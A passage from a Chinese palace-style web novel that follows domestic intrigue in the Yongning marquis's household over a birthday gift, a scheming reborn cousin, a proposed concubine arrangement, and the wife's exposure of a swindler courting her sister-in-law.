她含糊解释着,可她越是这般解释,赵承嘉便越是觉得其中有些古怪。 这婢女如此模样,怕不是偷了主子的东西像拿出去变卖罢? 如此想着,赵承嘉不由皱眉,“拿给我瞧瞧。” “这……这怕是不妥当。”凝露越发恐慌起来,甚至连身子都在微微颤抖。 可赵承嘉却并不与她再多说什么,只一伸手拎起那篮子,掀开盖在上边的帕子后便瞧见里边都是一些绣好了的帕子,各式花样的都有,也都整整齐齐地叠放着。 赵承嘉原本以为里边会是些值钱的物件,却不想竟只是些绣了花样的帕子,神色自然有些古怪,“你拿这些帕子是要去做什么?只是些帕子罢了,又为何这般遮掩?” 见赵承嘉已是瞧见了里边的帕子,凝露也只得说了实话,“这是我家小姐绣的帕子,是要我拿去外间换银子的。” “小姐吩咐我不要让旁人知晓此事,所以方才侯爷问起,奴婢也不敢多提。” 听她提及王玉盈,赵承嘉心底说不上来是什么感觉,他问道:“府中不曾短了你家小姐什么,怎地还要做这些零碎活计来换银子?” 这话听着好似有几分责问的意思,但里头其实却掺杂着几分连他自己都不曾觉察的关切。 他想知道王玉盈在侯府住得如何,是否缺了什么东西所以才想出这般挣钱的法子来。 “侯府里样样东西都是齐全的,观荷院里边并不曾缺了什么东西。”凝露连忙摇了头,又迟疑了好一会之后才咬牙道:“小姐绣这帕子是因着想攒些银子买一样礼物赠人,因着是要送人的,小姐便说使侯府的银子总不妥当,不说旁的,只说这心意便欠缺了许多,所以即便苦累些,可还是想拿自己的银子去买那礼物。” 赵承嘉听到此处,眸色微暗,他抿了抿唇,似乎想再说些什么,可到底没说。 只道了个“嗯”,便大步离去了。 赵承嘉心里其实是有些不舒服的,甚至有种去质问王玉盈的冲动,想问她要赠礼于何人,是已经与她和离的袁庆生,还是再有旁的男人? 可他问不出口,也寻不着去问这话的理由与立场,更解释不通他眼下这般情绪到底从何而来。 所以最终什么话也没说,大步离开的时候,甚至有几分落荒而逃的意味。 凝露看着赵承嘉的背影远去,而后才将方才被他弄乱的帕子好生收拾叠好,若是方才他再多翻一下,就会发觉这底下好几张帕子其实都不过是素帕而已。 上边这些绣了花样的帕子其实也并非出自于王玉盈之手。 王玉盈虽说再刺绣方面的功夫不差,可却也没心思耗费这样多的功夫去绣帕子,这些帕子都是凝露与凝芳熬夜赶出来的,因着怕误了时间,所以掩在底下的帕子都绣得极为粗糙,最底下的更是来不及刺绣的素帕。 好在赵承嘉并不曾细看,所以也并未发觉什么。 凝露收好这些帕子便回了观荷院。 王玉盈正等着消息,见了凝露便连忙问她,“如何了,表哥如何说?” 凝露将那篮子放下,笑着道:“姑娘这法子当真好极了,您是不曾瞧见侯爷那副想问却又不好问的模样,果真心底还是有姑娘的。” 听凝露如此说,王玉盈悬着的心终于是稍稍安定下来,她拿着帕子轻轻拍了好几下心口,连连道:“这样就好,这样就好。” 只要赵承嘉心里还装着她,一切便都还有机会。 王玉盈记得,上辈子直至自己被流放,离开上京之前,赵承嘉都坐稳了永宁侯的位置,甚至让永宁侯府比老侯爷在之时要更风光许多。 上辈子她选错了人才得了这般下场,这辈子,她再不会重蹈覆辙。 只要攀上赵承嘉,攀上永宁侯府,这一辈子便是富贵安宁,再不会受那些苦楚。 上辈子的那些事,她再也不要遇上。 这辈子,金尊玉贵的侯府夫人,只会是她一人。 王玉盈想着,唇边不由溢出了一抹极深的笑意,她的手下意识搭在已经微微有些隆起的腹部上,这孩子,她想,应当用不了多久便能派上大用场了。【你现在阅读的是 】 20、第二十章 日子过得极快,一转眼便到了赵承嘉生辰这日。 赵承嘉有心低调,况且他年岁不大,膝下甚至还并无孩子,所以一早与王氏与纪萝都说过,不必过分操办,只自家人一块儿用个膳便好。 于是纪萝只是安排着当日夜里一家人一块儿用膳,并未刻意通知旁人。 王氏虽喜欢热闹,可赵承嘉如此说了,她也乐意遂着赵承嘉的心意来,便由着他去了。 不过这虽说只是晚间的一顿家宴,可纪萝需得耗费的心神却也并不少,从一早起来便开始忙碌,晚膳时要用的菜式点心都要过了她的眼。 更不说今日这宴席虽无心对外操办,可底下一些有心巴结的人总会想法子打听到今日便是赵承嘉的生辰,如此,少不了要往侯府送些东西。 这其中什么东西时应当收下的,什么东西却是碰都不能碰的,却也要由纪萝来决断。 如此,自是忙得脚不沾地。 期间,纪萝安排去盯着秦敬的人还给芸枝带了话过来,说已是打听到了那秦敬的底细,可惜纪萝今日实在寻不到空闲,便只能令他明日再来回话。 等到了晚间,赵承嘉回来时诸事都已经安排妥帖。 王氏纪萝与赵倩桐王玉盈等人皆一同到了正厅,赵承嘉到了之后便吩咐底下人一道道上了菜。 桌上的菜式多是依着赵承嘉的喜好来,同时也兼顾了王氏的喜好,甚至王玉盈面前放置着的也是她素日喜欢的。 这都是纪萝一一提前嘱托过过的,所以并不曾出了差错。 等菜都上好了,王氏与赵承嘉先动了筷子,纪萝才用了些东西。 她素来是不喜欢这种场合的,说是自家人用膳,其实规矩礼仪不仅不曾少上半分,反而对她更是约束,怎地都不自在。 可偏偏也不能躲避了去,只能小心应付着。 王氏动了筷子,尝过了面前那一道她素来喜欢的清蒸荷叶鱼之后不由轻轻点头,这道菜做出来容易,做得好却不容易,表面看来不过是连着荷叶一同蒸熟便成的清蒸鱼,但其实其中的细致功夫却不少,今日这道菜却是做得正正好,连其中细碎的鱼刺都尽数挑得干净,口感更是清甜软糯,入口即化,可见应当是费了一番心思。 “今日的家宴你倒是用心。”王氏难得开口称赞了一句,但话头一转,却又道:“今日是承嘉生辰,你这个做妻子的可曾备下礼物相送?” 她如此说却并非是找茬的意思了,只是今日是赵承嘉生辰,此时问一句也合时宜。 纪萝原本想着宴席过后私下赠礼,不想王氏却在此时提了这事,好在她正好将那物件留在了身上,便取出那块玉佩,“侯爷素日爱穿暗色衣裳,这块青玉与侯爷往日穿着很是相配,所以买来赠予侯爷作生辰礼。” 不是多特殊的物件,但确实质地上乘,即便是在烛火的光亮下,也依旧能瞧出这块玉通透温润,是衬得起赵承嘉身份的。 赵承嘉从纪萝手中接过玉佩,道:“阿萝是最懂我心意的,我前段时日正好落了一块玉佩,今日便收到这样的生辰礼,正是合适。” 见他们一副琴瑟和鸣之景,王氏也没再多说,只老生常谈地催着二人在子嗣方面多做努力,等赵承嘉与纪萝一一应着之后便动了筷子。 赵倩桐大约是那日被纪萝警告了一番,从头到尾都不曾说些什么,只兴致缺缺地吃着面前的几道菜。 王玉盈本就没有胃口,见赵承嘉与纪萝情意想通,一旁王氏甚至也隐约有高看纪萝一眼的意思,一时就更是没了胃口,只小口小口地用了些清淡的吃食。 席后,赵承嘉陪着王氏说了会话,见时辰不早,便带着纪萝告退。 但不想二人才出了正厅不久,身后却传来一道仓促的脚步声,“表哥!” 赵承嘉定住脚步,转头瞧去,正是王玉盈。 许是因着走得快了些,王玉盈略有些喘息,她平复了片刻,才向赵承嘉道:“表哥,方才你走得急,我竟是忘了将生辰礼赠你。” 说罢,竟也取出一块玉佩来,她双手捧着递给赵承嘉,目光盈盈落在他身上,如水的月色下,更是添了几分羞怯动人,“只是寻常的玉饰,还望表哥莫要嫌弃。” 即便此时纪萝正立于一旁,她也全然并未顾忌。 大约从那日夜里她的婢子来青萝院走了一遭之后,王玉盈也就不打算在纪萝面前再掩藏心思了吧。 赵承嘉当真接过那玉佩,只是王玉盈还未曾来得及高兴,就听赵承嘉面露不屑道:“这样的东西也拿来作赠礼?” 王玉盈脸上的笑意顿时僵住,连一旁的纪萝也未曾想到赵承嘉说话竟是这般不客气。 这王玉盈并未在席中当着王氏与赵倩桐的面给出这份礼物,而是等她与赵承嘉离席后追上来赠上这所谓的生辰礼,说明她自个心里其实也明白这生辰礼其实是送得颇为不妥当的。 王玉盈不敢让王氏洞悉她的心意,但却并不将纪萝放在眼里,所以此时自是并未顾忌什么。 纪萝也当真未曾在王玉盈拿出那生辰礼时露出不悦之色来,反而只神色平静地站在一旁,这更令王玉盈嚣张了几分。 但纪萝此时心下也并非是全无波动。 王玉盈的心思并未掩藏,她自然是知道的,只是赵承嘉的心思,她却还不知。 她想看看,赵承嘉会如何选? 可赵承嘉几乎不曾犹豫就说出那番嘲讽的话语来,实在是不留半分情面,也让纪萝心底有些意外。 再如何,这王玉盈也算是赵承嘉的表妹,如今在侯府住下,也颇得王氏喜欢,按着赵承嘉的性子,他即便不喜,也总该体面的拒绝。 可他却…… 王玉盈眼眶中氤氲着雾气,她抿了抿唇,小声地解释着,“确实不是多么值钱的物件,阿盈如今住在侯府,一衣一食皆是姑母与表哥的恩惠,心下万分感激,可偏偏因着才和离不久,又与家中断了来往,实在是手中拮据,所以只能选了这块玉佩作为赠礼,也算一份心意……” 王玉盈说话间,赵承嘉已是随手一抛,便将那玉佩摔入了王玉盈怀中,他又从怀中取出纪萝所赠的那块青玉,道:“我有阿萝赠的玉佩了,你这块,我用不上。” 说罢,不管王玉盈神色如何,拉着纪萝便要离开。 可王玉盈却又再度声音凄凄地叫住了他,“送出去的物件,哪里有再拿回来的道理,既然是表哥不好,那便丢了算了!” 话音落下,她当真随手一丢,玉佩落地的声音清脆,想来已经碎得四分五裂。 但赵承嘉只是稍稍顿住片刻,到底还是拉着纪萝离开了。 回到青萝院,赵承嘉却始终好似有些心不在焉的,纪萝说起方才的事,试探着道:“不过是一块玉佩罢了,也是玉盈表妹的心意,侯爷即便收下也是无妨,我不是那样小气的人。” 还未成婚时,纪萝也曾对未来夫君有过一生一世一双人的期许,可成婚后心绪便早不同从前了。 这样的一桩婚事,与其说是婚事,不如说是交易,是生意,纪萝也看得清楚。 只是因着心底对赵承嘉还是有几分情意在,所以也并无法做到对这一切全然不在意。 不过此时这话却也并非是假话,只是一份生辰礼,她没那么小气。 可赵承嘉却走了神,片刻后才道:“你方才说什么?” “我的意思是。”纪萝在心底叹了口气,“方才玉盈表妹的玉佩,侯爷收了也是可以的,只是生辰礼而已。” 赵承嘉才似总算回了神,他捏了捏有些发疼的眉心,勉强道:“不提这事了。” 又牵着纪萝的手,挤出笑意道:“方才母亲可说了,她可等着抱孙子呢,这是要紧事,可不能耽误。” 纪萝垂下眼眸,还未来得及说话就觉身上一轻,已是被他拦腰抱起,接着大步走向里间,而后被压在床塌上。 赵承嘉去解她腰间系带的动作有些急促,似乎是急不可耐地想发泄什么,又或是想用这样的举动来忘记什么。 “侯爷。”纪萝握住赵承嘉的手,柔声道:“侯爷的心里头装着事。” 一句话,戳破了赵承嘉的伪装,赵承嘉下意识想否认,可却听得纪萝接着道:“应当是公事吧,侯爷应当以公事为重,既然有事不曾处理好,不如先回书房去处理事务罢。” 赵承嘉迟疑了一瞬,到底没再反驳,他点点头,有些匆忙地起身,而后并未多看纪萝一眼就快步出了房门。 就好似……害怕错过什么一般。 纪萝起身将稍显凌乱的衣着整理好,芸枝却匆匆从外间进来,“姑娘,侯爷怎么走了?您是说了什么……” 芸枝向来是知晓因着孩子的事,纪萝在侯府受了多少气,撇去王氏与赵倩桐,连纪家的人也对此时颇为在意,况且她在纪萝身边侍奉的时日久,更是知道纪萝心底也一直想着要个孩子。 赵承嘉这些时日颇为忙碌,便是三五日不归家也是有的,大部分时候是夜半方才归家,自是不会再来青萝院,如此,赵承嘉每回过来,便都只能好好把握。 眼下见赵承嘉好容易来了一回,却又这样毫无理由地走了,芸枝心底又如何能不着急? “侯爷有公事。”纪萝却只语气平淡地作了回答。 她知道赵承嘉此番着急离去或许并非为了所谓的公事,但她好似……也并没有那么在意。 心底即便微微有钝痛袭来,可理智却也能占据上风,她知道,不说赵承嘉与她的情意向来平淡如水,即便两人间当真有什么深刻过往,时移势易,一切也都是会变的。【你现在阅读的是 】 21、第二十一章 赵承嘉心里想着的自然不是公事。 从他拉着纪萝的手毫不犹豫地从王玉盈身边离开时,他心中想着的,便唯有王玉盈那双盈盈如水的眼眸。 心不在焉地进了青萝院后,他又忽地想起来,前几日他曾撞见过王玉盈身边的婢子凝露拿了刺绣的帕子要去外间售卖。 那时候自己觉得奇怪,便多问了一句。 那婢子是如何说的来着。 对了,她说这些帕子其实是自家姑娘亲手绣成的,拿去外间售卖是因为想攒些银子给一人买礼物。 而今日,她拿着一块白玉作的玉佩赠予自己。 难道…… 她如此用心攒下银子,就是为了送自己生辰礼? 想到此处,赵承嘉不免有些失神,直至纪萝的声音将他的思绪拉回。 他一遍遍在心底告诉自己,既然已经想好要与纪萝好好在一起,那心思便不应当有分毫游移,于是勉强自己将心思尽数放在眼前人身上。 甚至想用亲近纪萝的方式来令自己忘记那些事,忘记那块玉佩,也忘记王玉盈。 可纪萝是如何心思细腻的人啊,她瞧出自己心不在焉,却以为自己是被公事所困。 这当真是个极好的由头,那一瞬,赵承嘉好似解脱了一般,他几乎是迫不及待地点头对纪萝道:“是,正好有些公事不曾处理妥当。” 同时也在心里对自己说了同样的话。 也确实,他书房中还有些琐碎的小事没处理完,虽说无关紧要,可能处理好总是更好些。 如此想着,他的脚步却绕了更远的路,回到了方才撇下王玉盈的地方。 他低头看去,借着月色的光亮,他瞧见了碎落在石子道旁的玉佩,浑浊而粗糙,是一块极为劣质的玉,这样的玉,自然是一文不值的。 可此时的赵承嘉却伏在地上,一点一点地将那块碎玉捡了起来,小心翼翼地收入了怀中,仿佛是什么罕见的稀世珍宝…… *** 当夜,王玉盈却因为这桩事又发了一通脾气。 她不可能将火气发泄到赵承嘉身上,便更是怨恨起纪萝来。 越发觉得这一切都是纪萝的过错。 翌日,她再去见王氏时便有意无意提了一句,“表哥与纪氏成婚三载了,那纪氏竟是腹中半点动静都没有?” 一听王玉盈提及此事,王氏便先叹了口气,“这也正是我着急的事儿,你瞧瞧这上京,还有哪个世家公子这个年岁都还不曾有个孩子的。” 说罢,又摇了摇头,“可这事总归是着急也急不来的,只能看他们自个了。” 王玉盈神色微动,刻意瞧了瞧左右,又压低了声音道:“姑母怎地没想过给表哥纳一房妾室?” 她说这话自然并非是当真想要给赵承嘉纳妾,毕竟若是纳了这妾室,往后她上了位,岂非是给她自己留了敌人? 她可不是那样没脑子的人。 她如今这样与王氏说,是笃定了纪萝并非是不争不抢的性子,定是不会应允此事的。 届时,便可以给纪萝扣一顶善妒的帽子,令她无论在王氏,还是在旁人眼中都落不着好名声。 这也是昨日夜里王玉盈一夜不曾安眠想出来的法子。 王氏一愣,似乎没想到王玉盈会这般说,神色显然是有些迟疑的,“我瞧承嘉如今的心思都在那纪氏身上,即便纳了妾室,他若是不喜,那怕也是白费心思。” “姑母怎会如此想?”王玉盈摇头,“表哥若实是不喜欢,再打发了就是,可若是遇着个喜欢的,说不定很快便能有好消息呢!” 王氏思忖片刻,却也点了点头,“也是,前头顾着承嘉还在孝期,就没动这心思,如今出了孝期,也是时候做些安排了。” 王玉盈微微勾了勾唇角,自觉一切都尽在把控中,于是接着道:“此事不如交给那纪氏安排,即便不成,也能接着这个机会敲打敲打她,总要让她将姑母的话放在心上才是。” 王玉盈所言正合王氏心意,她颔首道:“那就安排纪氏去做,她这人看着性子柔顺,实则心思颇多,确实应当令她长些教训才成。” 如此说着,王玉盈便又索性接下这档子事,说是她好歹是个女子,也是嫁过一回人的,更知晓这事当如何与纪萝言明,王氏并未多想,只觉王玉盈是念着帮她料理这一桩烦心事,于是不仅应下,还多夸了她几句乖巧懂事。 只是说到后边,又提了王玉盈自个的婚事,说是有心帮她留意着上京的世家公子,王玉盈自然是乖顺应着,即便心里万分不屑,可面上却是分毫不显的。 从华庆院出来之后,王玉盈转脚便去了青萝院。 她早准备好了说辞,这会儿也是迫不及待想见到纪萝因着赵承嘉纳妾之事二崩溃难过的模样。 王玉盈想着,纪萝定是不会轻易应允了这事,而她越是不愿应下,王氏便越发会对她不满,甚至在赵承嘉面前也或许能撕破她那看似乖顺的面目,届时自己再添油加醋一番,不怕这纪萝不被厌弃。 想到此处,王玉盈唇边笑意更盛,她实在期待那般景象。 王玉盈到青萝院时阿福才来回过话。 虽然不过是寥寥数语,却让纪萝惊出了一身冷汗。 阿福道:“这秦敬其实原本不过是康宁坊的戏子,后来巴上一位贵夫人得以赎了身出来,但那贵夫人怕家中夫君知晓此事,后来便与秦敬断了往来,秦敬从前过惯了花天酒地的日子,等手中的银子尽数花完了之后便落魄了,后来不知怎地竟是与侯府……侯府的小姐有了牵扯。” 赵倩桐再如何也还只是个未出阁的小姐,这秦敬若当真只是个落魄书生也就罢了,可偏偏还是个底子也不干净的。 纪萝想起那日初见秦敬,难怪总觉得此人身上似乎有股子挥之不去的脂粉气味,竟是这样的缘故。 “不过他的底细大约赵小姐也是并不知的。”阿福见纪萝神色惊疑不定,迟疑了片刻,还是将话接着往下说了下去,“我使了些银子在拿盈翠坊打听了一番,其中那小二便同我直言,说是秦敬给了些银子,让他万万不要提及自己的过往,想来应当也是瞒住了赵小姐的。” 纪萝这才定下心神来,她知此事非同小可,万万不能被旁人知晓,于是先给阿福塞了银子,让他定要管好自个的嘴巴。 阿福是个懂事的,连连道:“奴才知道的,这事牵扯众多,奴才无权无势的,谁也招惹不起,万不敢去外头胡言的。” 纪萝见他还算通透,便点点头,又对他吩咐了几句,令他依旧盯着那秦敬便是。 阿福把银子收好,应下之后便离了院子。 也正是在这时,外间来人禀报,说是王玉盈到了。 王玉盈虽在侯府住了有些时日了,却始终不曾来过她这青萝院。 这自然是不符规矩的,只是王氏原本就轻看她,王玉盈不将她放在眼里也是正常,更不说王玉盈自个心底也存了别的念头。 所以这回过来才更显古怪了。 但人既来了,纪萝也没理由避而不见,况且她心下也有些好奇王玉盈此番前来的目的。 总不能是来向她宣战? 那这就实在太过幼稚了些。 纪萝正想着,王玉盈已是缓步进了里间,她笑意盈盈道:“表嫂。” 见她满面笑意,纪萝心知定然是没有好事,可却也不曾拆穿,也弯了弯唇道:“表妹怎地今日过来了?” 说着,又吩咐底下人去沏了茶水。 王玉盈不动声色地打量了一番四周景象,心下想着这青萝院果真不愧为侯府正室的院子,不说装饰摆件,只说大小便比她住着的观荷院要宽敞许多,往日她住着观荷院也挑剔不出什么毛病来,可今日见了这青萝院,却突然觉得自己住的院子实在拥挤,比之这青萝院更是差了太多,于是心底不免有些不甘。 可这时纪萝的目光恰好看了过来,她不好露出端倪,便只能压下了心底所想,抬眼对上纪萝的目光,依着王氏的意思道:“表嫂,你与表兄也成婚三载了,姑母今日还与我好生抱怨了一番,说是心底实在着急,念着能尽快抱孙子呢。” 这些话纪萝在王氏那儿已经是听了不少,若只是为了催促她,想来王玉盈不至于这般来青萝院一趟。 所以纪萝没有说话,只听着王玉盈继续往下道:“表嫂眼下瞧着腹中是还没有动静的,可姑母却又急的不行,今日一早便与我说,说是想给表哥纳两个妾室,如此,不仅能尽快了却了姑母的心事,也能缓一缓表嫂的压力……” “可以。”纪萝不等她的话说完便已经应下此事,“母亲那边可有人选?还是说由我亲自选两个合适的择日入府?” 王玉盈愣在了原地,她后边准备的说辞没一句说出了口,纪萝竟就这般应了下来,甚至还体贴的多问了一句,是由她来操办,还是王氏那边早已有了安排? 她稍稍缓和了片刻,才有些干巴地问道:“你不在意表哥纳妾?” 纪萝轻笑一声,“既是母亲的意思,我做儿媳的自是不能违逆。” “可……”王玉盈咬了咬牙,“你就不怕表哥有了妾室之后心思尽数到了那些个妾室身上,再不多看你一眼吗?” 她想象中的是纪萝听了此事之后无论如何都不肯应下,她在一旁劝了几句也是无用,最后不得已将此事禀报王氏,可如今不知怎地却变成了纪萝一口应下,她反而要劝着纪萝再多想想。 毕竟她自己也是不想让这纳妾之事成真的。 纪萝浅抿了口茶水,“比起赵家的血脉,这便只算是小事了。” 王玉盈再看向纪萝的目光里已是多了几分恨铁不成钢的意味,她原来觉得纪萝是有些心思的,可这会儿才明白过来她竟是这样软弱的性子,应当也是明白赵承嘉明面上对她算是维护,可实际上心底对她并无情意,所以才这般顺从罢? 如此想着,王玉盈又微微抬了抬下巴,觉得自己眼下虽并无名正言顺的身份,可却是赵承嘉真心爱护之人,自是比眼前的纪萝高上一等的。 可纪萝只是似笑非笑地瞥了她一眼,“表妹说了这样多,我反而不知你到底是何意思了,怎地我应下这纳妾之事,表妹反而不愿意了?” 纪萝这话说得直接,王玉盈虽不曾避讳什么,可此时贸然被戳穿心思,面上也有些不太好看,她勉强解释着,“我这也是为表嫂着想……” “你不必为我考虑。”纪萝只道:“只是这事是母亲的意思,却要问过侯爷的安排,若是定下,或是母亲,或是我选两个合适的妾室也并无不可。” 王玉盈还想在说些什么,可纪萝却已是下了逐客令,“那就劳烦表妹再向母亲回话了。” 王玉盈见她始终这副神色淡然的模样,心里不免有些憋屈,可又想到赵承嘉心里并不在意她,她如今看似坐稳侯府夫人的位置,其实却也是摇摇欲坠,所以眼前这副淡然模样大约也只是强撑出来的罢了,这样想着,心里算是顺畅了些,也才离了青萝院。 只是这纳妾之事自然是成不了的。 王氏原本听王玉盈说纪萝已经应了此事,也是欢喜,甚至已经令人寻了名册开始挑选起来。 只是夜里赵承嘉归来之后一开口却先说了个消息,说是近些时日京郊有匪徒横行,当今天子令他不日便启程前往剿匪,这一趟大约要耗费些时日。 王氏原本要提及纳妾之事,可听赵承嘉这般说,只得先将此事咽了下去,而后有些担忧道:“这匪徒的事我也听人提过,说那帮匪徒尽是些穷凶极恶之徒,在上京近旁也敢这般行事,怕是有些难以应对。” “母亲不必忧心。”赵承嘉却神色颇为自信,“不过是些匪徒罢了,等我了了这桩事,便也能在朝中立稳地位,也算对得起父亲的临终嘱托了。” 想起老侯爷,王氏眼底微微有些发红,道:“罢了,你有这般意气,总归是好事,只是却也要注意着自个,万事都没有你自个的性命要紧。” 赵承嘉又是一一答应着,心底却是不曾将那些匪徒放在眼中的。 今日天子急召他入宫,问他可有意前往京郊剿匪,他简直不敢相信自个听到的话。 要知道,他这些时日以来虽在朝中做事,可却始终不得重用,交给他的多是些无关紧要的琐碎之事。 可眼下,天子却交给他这样一桩要紧事。 他按耐下心底的激动,声音微颤地应了下来。 他知晓,这是天子在给他一个立功的机会,这个机会,他定是要好好把握的。 而再往前一个时辰,谢元墨正在斟酌此次派遣去剿匪的人选,朝臣的折子中举荐了数人,可他始终有些迟疑,最终在一封折子中看见了赵承嘉的名字。 他思忖了片刻,这才想起来赵承嘉正是两年前承袭了永宁侯爵位的那位。 倒也不怪他记不太起这号人来,只是这赵承嘉虽在朝中做事,可却实在没存在感了些,能力平庸,做事不至于出什么大岔子,却也立不下什么功绩,只能说是无功无过。 而恰恰是这般人最容易被人忘记。 可他的夫人却是…… 谢元墨迟疑了一瞬,对身边太监吩咐道:“召永宁侯入宫。”【你现在阅读的是 】 22-30 第22章 这事来得仓促,赵承嘉更是一心想着要抓住这来之不易的机会,自是无心他事。 就连纪萝那儿,他也不曾亲自去告别,只令人去知会了一声。 而王玉盈,更是赵承嘉离府的第二日方才知晓此事的。 “表哥去剿匪了?”她听王氏言谈间提及此事,不由愣了神,剿匪这事,她隐约记着,上辈子好似是听说过的。 王氏提及此事,又是不免叹气,“是啊,虽说是天子重用才得了这立功良机,可到底是那样凶悍的匪徒,怕是不好对付。” 王玉盈顿了片刻,才勉强想起来她好似曾听袁庆生在她跟前提过一回,那会儿她刚怀了身子不久,袁庆生对她可谓是万分小心,听说京郊最近有匪徒出没更是谨慎,哪怕她只是想去外间走走,都刻意安排了人陪同。 而京郊匪徒伏诛那日,袁庆生还松了口气,与她道:“好在这些匪徒尽数伏诛,这些时日总算能太平些了。” 王玉盈对朝中局势向来不感兴趣,自是也不会多问到底是何人率兵了却此事,只窝在袁庆生怀中道:“这事总算了了,我这些时日可闷坏了,明日陪我……” 思绪到此便止住了,上辈子的她确实不知道原来去京郊剿匪的人,竟就是赵承嘉。 而不出一月,赵承嘉便能得胜归来,届时借着这份功劳,他定能在朝中坐稳位置。 这其实是好事。 只是…… 王玉盈的指尖虚虚地掩住腹部,她腹中的孩子眼下已经一月有余,如今虽只要穿稍稍宽泛些的衣裳便不会被瞧出端倪来,只是若是再等上一月,怕是再如何穿宽松的衣裳也是不足以掩住,只能拿布条子将腹部狠狠勒住才成。 上辈子她腹中的这个孩子一直是被细心照料着,自然是极为健康的,可这辈子却不同,她原本就并未有留下这孩子的念头,后来为了掩盖住怀了身子之事,更是用了不少伤胎的药,若是再用布条子束住,怕是还不等派上用场,就先落了也未可知。 王玉盈心下想着,还是该有个主意才成,这一个月的时间太长,她实在是等不起。 况且纪萝的那个孩子…… 王玉盈猛然捏紧了手中锦帕。 “纳妾之事原本前几日我是要同承嘉提一句的。”王氏并未发觉王玉盈的异常,只接着道:“可他先说了这剿匪之事,我听他的意思,大约要在这事上边费不少功夫,所以这纳妾的事还是往后再说罢,总得是要等承嘉回来再做安排。” 王玉盈勉强点头应着,“是,还是公事要紧些。” 到这会儿,她哪里还在意是否能用此次纳妾之事敲打纪萝,显然好生利用腹中孩子才是要紧之事。 王氏只觉王玉盈这话有些道理,又转了话题闲谈起来。 王玉盈始终有些心不在焉,不过王氏也记挂着赵承嘉,倒也并未发觉什么。 *** 纪萝最近身子有些不大舒服。 每日都睡不足倒也罢了,就算起了身,也偶有昏沉之感,往日喜欢的吃食送到眼前来,也总没有食欲。 芸枝见她这般模样很是担忧,“许是前段时日的着了凉没有好全,如今却又复发了?” 纪萝虽觉得有些不对,可却也再想不到别的缘由,于是点头道:“去寻个大夫来瞧瞧罢。” 芸枝垂首应了个“是”,便转身匆匆出去。 可不等多久,却又匆忙赶了回来,身后还带着一人,正是阿福。 纪萝见了他不免有些意外,这阿福算是谨慎的性子,往日即便要来向她禀话,也总是先找机会向芸枝通个气,而后再由她来做安排,如此,便能避开许多麻烦,也省得被人盯上。 可这一回,阿福却是直接过来了。 纪萝心下自然明白这怕是有什么要紧事,于是等芸枝将门带上便向阿福问道:“这是出什么事了?” 许是走得急,阿福有些气喘吁吁道:“夫……夫人,我依着您的命令依旧盯着那秦敬,这两日他倒是并没有什么古怪举动,无非是在当铺当了簪钗,又拿了银子去花销了一番,可今日,奴才却亲眼见着他约了一位小姐在上京的重景楼见面,他们二人举止亲密,这关系怕是不同寻常!” “这话当真?”纪萝也不曾料想这秦敬竟是这般胆大,一边勾着永宁侯府的小姐还不算,外间竟还勾上了旁人,实在有些本事! 不过前头听得阿福说这秦敬原本是个戏子,也是个挥金如土的角色,赵倩桐虽是永宁侯府的小姐,可到底还只是个未出阁的姑娘家,再加之侯府如今是纪萝掌着中馈,对她也不免有些约束,所以她能拿出去的银子也是有限。 再说,倘若秦敬一心问赵倩桐要银子,这时日久了,哪怕是再如何蠢笨的人也能觉察出其中不对来罢? 秦敬大约也不想这般冒险。 于是索性多勾上几人,从每个人手中都要些银子,数量不算太多,便也不至于惹人怀疑。 这倒是个不错的法子。 阿福连连点头道:“奴才亲眼瞧见的,还能有假?” 他又道:“奴才还掏了银子去打听了一番,听里间的的人说,秦敬与那位小姐是去了二楼的雅间……” 话说到这份上,纪萝也不再迟疑,她依着惯例给阿福拿了银子之后便换了身衣裳出门。 临出门前,她没忘记向遣人往静雪院一趟,只说她在重景楼二楼等着。 底下人闻言有些迟疑,“倩桐小姐怕是未必会愿意来。” 赵倩桐与纪萝关系不好在这永宁侯府几乎是人尽皆知之事,只说是纪萝要见她,赵倩桐怕是不会给这个面子的。 她向来是不将纪萝放在眼里的,怎会这般听话? 纪萝好似早就想到这一点,又道:“你只与她说,她拿了家中的银子是有何用处我已是知晓,若她今日不来,那我只得将这事告知母亲了。” 底下人虽不知此言何意,但也不敢多问,只得一一应着,打算到了赵倩桐跟前便将这话原模原样的转达便是。 *** 重景楼。 好在侯府距离此处不算太远,纪萝故意定下了秦敬与那位小姐所在的隔间。 只一墙之隔,若是有心,甚至能听得隔壁人说话的声响。 纪萝确认了隔壁当真是秦敬与那位小姐,又听二人言谈间十分亲密,甚至都有些听不下去,才在那茶桌旁坐下,安心等着赵倩桐过来。 芸枝时不时贴近了墙边听着隔壁传来的污言秽语,也不由皱眉,却又有些担心,“倩桐小姐当真会来么,会不会来得迟了也赶不上这一场好戏?” 纪萝却很是笃定,“倩桐一直瞒着她与秦敬的事,想来也是知道这事定不为母亲所容,倘若我真告到母亲跟前去,她怕是必须得与这秦敬断了往来,可她一百两一次的银子便给了那秦敬几回,后来更是连自个的簪钗首饰都拿去给秦敬当了,显然是早已沦陷其中,又怎会愿意这般与秦敬分开?” “她定是会来的。” 芸枝听得此处,这才稍稍安心地点了头。 可抬眼再见纪萝脸色有些苍白,想起这两日自家姑娘身子好似都不太好,原本今日一早是要去请个大夫过来瞧瞧的,可不想却遇上了阿福求见,说是有颇为要紧的事儿,芸枝不敢耽误,只得先将人带去见了纪萝。 如此, 大夫的事儿便耽误了。 这会儿怕也不方便再寻大夫过来,她只得给纪萝倒了一杯温茶,“姑娘喝些温热的,或许身子会舒服些。” 纪萝身子确实有些不大舒服的,或是是因为一路奔波地赶过来,此时她身上的不适之感比起早上刚起身的时候还要更强烈些,她抿了口温热的茶水,一股暖意流入腹中,好似稍稍舒服了些。 赵倩桐便是在这时候赶过来的。 她听得纪萝遣去的人那般说,哪里还能冷静下来,几乎是片刻也不曾耽误便匆忙赶了过来。 等推开门,她瞧见纪萝正气定神闲地在房间里饮着茶水便更是恼火,“纪萝,你到底想做什么?” 从那日纪萝警告她一番后,她便没再刻意刁难过纪萝,这其中有纪萝那些话的原因,还有另一个原因便是秦敬。 她的心思都在秦敬身上,甚至还想着什么时候机会要去见一见秦敬的母亲,若是他母亲的身子依旧不大好,便再想法子去帮他寻个好些的大夫之类,自是再顾不上与纪萝纠缠。 可她不找纪萝的麻烦,纪萝却找上了她。 甚至还背地里调查了她与秦敬的事,又以这事作为威胁,实在恶毒。 赵倩桐一路赶来,心上都是憋着一股火气的,这会儿见了纪萝,态度自是不会太好。 纪萝却示意她噤声,而后走上前,拉着她的手贴近隔壁的墙面。 